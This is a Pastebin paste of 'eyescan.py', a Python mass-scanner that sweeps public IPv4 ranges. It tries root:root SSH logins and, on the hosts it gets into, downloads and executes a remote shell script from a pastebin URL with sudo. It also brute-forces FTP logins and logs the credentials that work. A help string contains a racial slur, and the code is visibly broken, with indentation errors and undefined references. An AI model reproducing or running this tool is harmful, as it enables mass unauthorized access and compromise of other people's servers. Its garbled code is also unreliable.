Advertisement
Guest User

eyescan.py by eyezik

a guest
Jul 3rd, 2017
437
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 11.31 KB | None | 0 0
  1. import sys
  2. import argparse
  3. from ftplib import FTP
  4. import random  
  5. import socket
  6. import getpass
  7. import pxssh #make sure your pxssh is updated
  8. import subprocess
  9. print "\n     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
  10. print   "     |----MASS SCANNING: EYE-SCAN BY EYEZIK----|"
  11. print   "     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
  12. print "\n    ./eyescan.py -h"
  13. if (sys.argv[1] == "-h"):
  14.     print "\n  more help --help\n  --ssh-exploit (start ip: 1) \n  --titles (start ip)\n  --ftp-brute (start ip) -u USERNAME -p (word list)\n  example: ./eyescan.py --ssh-exploit 101\n"
  15. elif (sys.argv[1] == "--help"):
  16.     print "\n  --ssh-exploit (start ip: 1) \n  --titles (start ip)\n  --ftp-brute\n     -R root (will use login root:root)\n     -u username(not needed if -R)\n     -p password list /root/nigger.txt (not needed if -R)\n  example: ./eyescan.py --ssh-exploit 101\n"
  17. else:
  18.     if (sys.argv[1] == "--ssh-exploit"):
  19.         print("\n [~] SSH SCAN/EXPLOIT [~]\n ")
  20.         STRTIP = (sys.argv[2])
  21.         for p in xrange(int(STRTIP),255):
  22.             for q in xrange(0,255):
  23.                 for r in xrange(0,255):
  24.                     for s in xrange(0,255):
  25.                         ip = str(p) + "." + str(q) + "." + str(r) + "." + str(s)
  26.                         if (p==10 or p==127):
  27.                             ip = "null"
  28.                         elif (p == 100 and q >= 64 and q <= 127):
  29.                             ip = "null"
  30.                         elif (p >= 0 and p <= 15 and q >= 0 and q <= 20):
  31.                             ip = "null"
  32.                         elif (p == 169 and q == 254):
  33.                             ip = "null"
  34.                         elif (p == 172 and q >= 16 and q <= 31):
  35.                             ip = "null"
  36.                         elif (p == 192 and q == 0 and r == 0):
  37.                             ip = "null"
  38.                         elif (p == 192 and q == 0 and r == 2):
  39.                             ip = "null"
  40.                         elif (p == 192 and q == 88 and r == 99):
  41.                             ip = "null"
  42.                         elif (p == 192 and q == 168):
  43.                             ip = "null"
  44.                         elif (p == 192 and q == 18):
  45.                             ip = "null"
  46.                         elif (p == 192 and q == 19):
  47.                             ip = "null"
  48.                         elif (p == 192 and q == 51 and r == 100):
  49.                             # RFC5737: Documentation (TEST-NET-2)
  50.                             ip = "null"
  51.                         elif (p == 203 and r == 113):
  52.                             # RFC5737: Documentation (TEST-NET-2)
  53.                             ip = "null"
  54.                         elif (p >= 224):
  55.                             # RFC5737: Reserved D & E
  56.                             ip = "null"
  57.                         if (ip != "null"):
  58.                             print ip
  59.                             try:
  60.                                 for port in range (21, 22):
  61.                                     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  62.                                 sock.settimeout(0.5)
  63.                                     result = sock.connect_ex((ip, port))
  64.                                
  65.                                     if result == 0:
  66.                                     print "SSH FOUND {}".format(ip, port)
  67.                                     try:
  68.                                         f = open("SSH.txt","a")
  69.                                             f.write(ip)
  70.                                             f.write("\n")
  71.                                             f.close()
  72.                                         s = pxssh.pxssh()
  73.                                         s.SSH_OPTS += " -o StrictHostKeyChecking=no"
  74.                                         hostname = ip
  75.                                         username = ('root')
  76.                                         password = ('root')
  77.                                         s.login(hostname, username, password)
  78.                                         i = self.expect(["(?i)are you sure you want to continue connecting", original_prompt, "(?i)(?:password)|(?:passphrase for key)", "(?i)permission denied", "(?i)terminal type", TIMEOUT, "(?i)connection closed by remote host"], timeout=login_timeout)
  79.                                         if i==0:
  80.                                                 self.sendline("yes")
  81.                                                 i = self.expect(["(?i)are you sure you want to continue connecting", original_prompt, "(?i)(?:password)|(?:passphrase for key)", "(?i)permission denied", "(?i)terminal type", TIMEOUT])
  82.                                         if i==2:
  83.                                                 self.sendline(password)
  84.                                                 i = self.expect(["(?i)are you sure you want to continue connecting", original_prompt, "(?i)(?:password)|(?:passphrase for key)", "(?i)permission denied", "(?i)terminal type", TIMEOUT])
  85.                                         if i==4:
  86.                                                 self.sendline(terminal_type)
  87.                                                 i = self.expect(["(?i)are you sure you want to continue connecting", original_prompt, "(?i)(?:password)|(?:passphrase for key)", "(?i)permission denied", "(?i)terminal type", TIMEOUT])
  88.                                         if i==0:
  89.                                                 self.close()
  90.                                                 raise ExceptionPxssh('Weird error. Got "are you sure" prompt twice.')
  91.                                         elif i==1:
  92.                                                 pass
  93.                                         elif i==2:
  94.                                                 self.close()
  95.                                                 raise ExceptionPxssh('Wrong password')
  96.                                         else:
  97.                                             s.sendline('sudo curl -L https://pastebin.com/raw/ArHqXVnU -o groovy.sh')
  98.                                             s.prompt()
  99.                                             s.sendline('sudo chmod 777 groovy.sh')
  100.                                             s.prompt()
  101.                                             s.sendline('sudo ./groovy.sh')
  102.                                             s.prompt()
  103.                                             f = open("root_logins.txt","a")
  104.                                             f.write(ip)
  105.                                         f.write("\n")
  106.                                         f.close()
  107.                                         s.logout()
  108.                                     except pxssh.ExceptionPxssh as e:
  109.                                         print("ssh failed on login.")
  110.                                         print(e)
  111.                                 sock.close()
  112.                             except socket.error:
  113.                                 print "Couldn't connect to server"
  114.                             except socket.gaierror:
  115.                                 print 'Hostname could not be resolved. Exiting'
  116.     if (sys.argv[1] == "--titles"):
  117.         STRTIP = (sys.argv[2])
  118.         print("\n [~] SCANNING TITLES [~]\n ")
  119.         for p in xrange(int(STRTIP),255):
  120.             for q in xrange(0,255):
  121.                 for r in xrange(0,255):
  122.                     for s in xrange(0,255):
  123.                         ip = str(p) + "." + str(q) + "." + str(r) + "." + str(s)
  124.                         if (p==10 or p==127):
  125.                             #Private IP and Loopback IP
  126.                             ip = "null"
  127.                         elif (p == 100 and q >= 64 and q <= 127):
  128.                             #Shared Address Space
  129.                             ip = "null"
  130.                         elif (p == 169 and q == 254):
  131.                             # APIPA
  132.                             ip = "null"
  133.                         elif (p == 172 and q >= 16 and q <= 31):
  134.                             #Private IP  172.16.0.0 - 172.31.255.255
  135.                             ip = "null"
  136.                         elif (p == 192 and q == 0 and r == 0):
  137.                             #192.0.0.0/24        # RFC6890: IETF Protocol Assignments
  138.                             ip = "null"
  139.                         elif (p == 192 and q == 0 and r == 2):
  140.                             #192.0.2.0/24        # RFC5737: Documentation (TEST-NET-1)
  141.                             ip = "null"
  142.                         elif (p == 192 and q == 88 and r == 99):
  143.                             #192.88.99.0/24      # RFC3068: 6to4 Relay Anycast
  144.                             ip = "null"
  145.                         elif (p == 192 and q == 168):
  146.                             #RFC1918: Private-Use
  147.                             ip = "null"
  148.                         elif (p == 192 and q == 18):
  149.                             # RFC2544: Benchmarking
  150.                             ip = "null"
  151.                         elif (p == 192 and q == 19):
  152.                             # RFC2544: Benchmarking
  153.                             ip = "null"
  154.                         elif (p == 192 and q == 51 and r == 100):
  155.                             # RFC5737: Documentation (TEST-NET-2)
  156.                             ip = "null"
  157.                         elif (p == 203 and r == 113):
  158.                             # RFC5737: Documentation (TEST-NET-2)
  159.                             ip = "null"
  160.                         elif (p >= 224):
  161.                             # RFC5737: Reserved D & E
  162.                             ip = "null"
  163.                         if (ip != "null"):
  164.                             print "scanning: {} ".format(ip)
  165.                             try:
  166.                                 for port in range (79, 81):
  167.                                     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  168.                                 sock.settimeout(0.5)
  169.                                     result = sock.connect_ex((ip, port))
  170.                                     if result == 0:
  171.                                     #print "PORT OPEN ON {}".format(ip, port)
  172.                                     try:
  173.                                         ipurl = ('http://' + ip)
  174.                                         print(ipurl)
  175.                                         sock.settimeout(0.5)
  176.                                         rq = requests.get(ipurl)
  177.                                         soup = BeautifulSoup(str(rq.content))
  178.                                         t = 'title'
  179.                                         datitle = getattr(soup, t)
  180.                                         print(datitle)
  181.                                         f = open("webdb","a")
  182.                                             f.write(ip)
  183.                                         f.write(" ")
  184.                                         f.write(str(datitle))
  185.                                             f.write("\n")
  186.                                             f.close()
  187.                                         sock.close()
  188.                                     except socket.error as e:
  189.                                         print("Couldn't connect to server")
  190.                                         print(e)
  191.                                 sock.close()
  192.                             except socket.gaierror:
  193.                                 print 'Hostname could not be resolved. Exiting'
  194.     if (sys.argv[1] == "--ftp-brute"):
  195.         STRTIP = (sys.argv[2])
  196.         print("\n [~] FTP BRUTE FORCE SCAN [~]\n ")
  197.         for p in xrange(int(STRTIP),255):
  198.             for q in xrange(0,255):
  199.                 for r in xrange(0,255):
  200.                     for s in xrange(0,255):
  201.                         ip = str(p) + "." + str(q) + "." + str(r) + "." + str(s)
  202.                         if (p==10 or p==127):
  203.                             #Private IP and Loopback IP
  204.                             ip = "null"
  205.                         elif (p == 100 and q >= 64 and q <= 127):
  206.                             #Shared Address Space
  207.                             ip = "null"
  208.                         elif (p == 169 and q == 254):
  209.                             # APIPA
  210.                             ip = "null"
  211.                         elif (p == 172 and q >= 16 and q <= 31):
  212.                             #Private IP  172.16.0.0 - 172.31.255.255
  213.                             ip = "null"
  214.                         elif (p == 192 and q == 0 and r == 0):
  215.                             #192.0.0.0/24        # RFC6890: IETF Protocol Assignments
  216.                             ip = "null"
  217.                         elif (p == 192 and q == 0 and r == 2):
  218.                             #192.0.2.0/24        # RFC5737: Documentation (TEST-NET-1)
  219.                             ip = "null"
  220.                         elif (p == 192 and q == 88 and r == 99):
  221.                             #192.88.99.0/24      # RFC3068: 6to4 Relay Anycast
  222.                             ip = "null"
  223.                         elif (p == 192 and q == 168):
  224.                             #RFC1918: Private-Use
  225.                             ip = "null"
  226.                         elif (p == 192 and q == 18):
  227.                             # RFC2544: Benchmarking
  228.                             ip = "null"
  229.                         elif (p == 192 and q == 19):
  230.                             # RFC2544: Benchmarking
  231.                             ip = "null"
  232.                         elif (p == 192 and q == 51 and r == 100):
  233.                             # RFC5737: Documentation (TEST-NET-2)
  234.                             ip = "null"
  235.                         elif (p == 203 and r == 113):
  236.                             ip = "null"
  237.                         elif (p >= 224):
  238.                             # RFC5737: Reserved D & E
  239.                             ip = "null"
  240.                         if (ip != "null"):
  241.                             print "scanning: {} ".format(ip)
  242.                             try:
  243.                                 for port in range (20, 21):
  244.                                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  245.                                 sock.settimeout(0.9)
  246.                                 result = sock.connect_ex((ip, port))
  247.                                 if result == 0:
  248.                                     print "PORT OPEN ON {}".format(ip, port)
  249.                                     try:
  250.  
  251.                                         def check_anonymous_login(ip):
  252.                                             try:
  253.                                                 ftp = FTP(ip)
  254.                                                 ftp.login()
  255.                                                 print "\n[+] Anonymous login is open."
  256.                                                 print "\n User:pass = anonymous:anonymous"
  257.                                                 ftp.quit()
  258.                                             except:
  259.                                                 pass
  260.                                         def ftp_login(ip, username, password):
  261.                                             try:
  262.                                                 ftp = FTP(ip)
  263.                                                 ftp.login(username, password)
  264.                                                 ftp.quit()
  265.                                                 print "\nLogged in"
  266.                                                 print "\nUsername : {}".format(username)
  267.                                                 print "\nPassword : {}".format(password)
  268.                                                 f = open("ftp-logins.txt","a")
  269.                                                 f.write(ip)
  270.                                                 f.write(" ")
  271.                                                 f.write(str(username))
  272.                                                 f.write(":")
  273.                                                 f.write(str(password))
  274.                                                 f.write("\n")
  275.                                                 f.close()
  276.                                             except:
  277.                                                 pass
  278.                                         def brute_force(username, wordlist):
  279.                                             try:
  280.                                                 wordlist = open(wordlist, "r")
  281.                                                 words = wordlist.readlines()
  282.                                                 for word in words:
  283.                                                     word = word.strip()
  284.                                                     ftp_login(ip, username, word)
  285.                                             except:
  286.                                                 print "\n[-] There is no such wordlist file. \n"
  287.                                             parser = argparse.ArgumentParser()
  288.                                             parser.add_argument("-R", "-u", "--username")
  289.                                             parser.add_argument("-R", "-p", "--wordlist")
  290.                                             args = parser.parse_args()
  291.                                             username = args.username
  292.                                             wordlist = args.wordlist
  293.                                             brute_force(ip, username, wordlist)
  294.                                             check_anonymous_login(target)
  295.                                             print "\n[-] Brute force finished. \n"
  296.                                         sock.close()
  297.                                     except socket.error as e:
  298.                                         print("Couldn't connect to server")
  299.                                         print(e)
  300.                                 sock.close()
  301.                             except socket.gaierror:
  302.                                 print 'Hostname could not be resolved. Exiting'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement